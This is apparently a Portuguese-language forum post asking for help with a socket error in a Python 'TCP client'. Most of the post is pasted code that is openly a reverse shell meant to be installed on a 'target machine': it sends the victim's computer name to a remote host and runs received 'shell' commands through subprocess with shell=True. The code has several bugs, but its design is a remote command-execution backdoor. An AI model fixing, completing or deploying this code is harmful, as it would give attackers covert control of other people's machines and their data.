estou desenvolvendo um código de cliente TCP e o código está retornando um ' socket.error: [errno 10022] Foi fornecido um argumento inválido '
já tentei readaptar para corrigir o erro, mas não tive êxito
se algum dos senhores puder me ajudar nesse problema, ficarei grato!
segue o código, para os senhores se situarem:
#!/usr/bin/env python
# -* coding: utf-8 -*-
# script to install in the target machine.
#import the functional lib to our project
import argparse
import socket, sys, os, subprocess, threading, re
from argparse import ArgumentParser
#setting on our functions to connect with the target machine
def attacker():
global host
global port
global s
os.system('cls')
host = raw_input('set the target > ')
port = raw_input('set the port to connect > ')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ## socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print('Tentando conexão com %s%:s')%(host,port)
s.connect((host,port))
print('Conexão estabelecida.')
s.send(os.environ['COMPUTERNAME'])
except:
print ('A conexão está falhando.')
def taken():
taken = s.recv(1024)
tokens = re.split('\s+', taken, 1)
command = tokens[0]
if command == 'q':
s.close()
elif command == 'shell':
if len(tokens) > 1:
proc2 = subprocess.Popen(tokens[1], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc2.stdout.red() + proc2.stderr.read()
else:
output = 'Os argumentos devem começar com "shell" '
else:
output = 'comandos válidos são: "q" para sair do Reverse Shell, e "shell <comando>" (ex: shell cd Desktop)'
s.send(output)
def send():
s.send(output)
s.receive()
def stop():
s.close()
if __name__ == '__main__':
from argparse import ArgumentParser
p = ArgumentParser()
p = argparse.ArgumentParser(description='Reverse Shell - Penetration Test', epilog='Hacking Grey Hat!')
p = p.parse_args()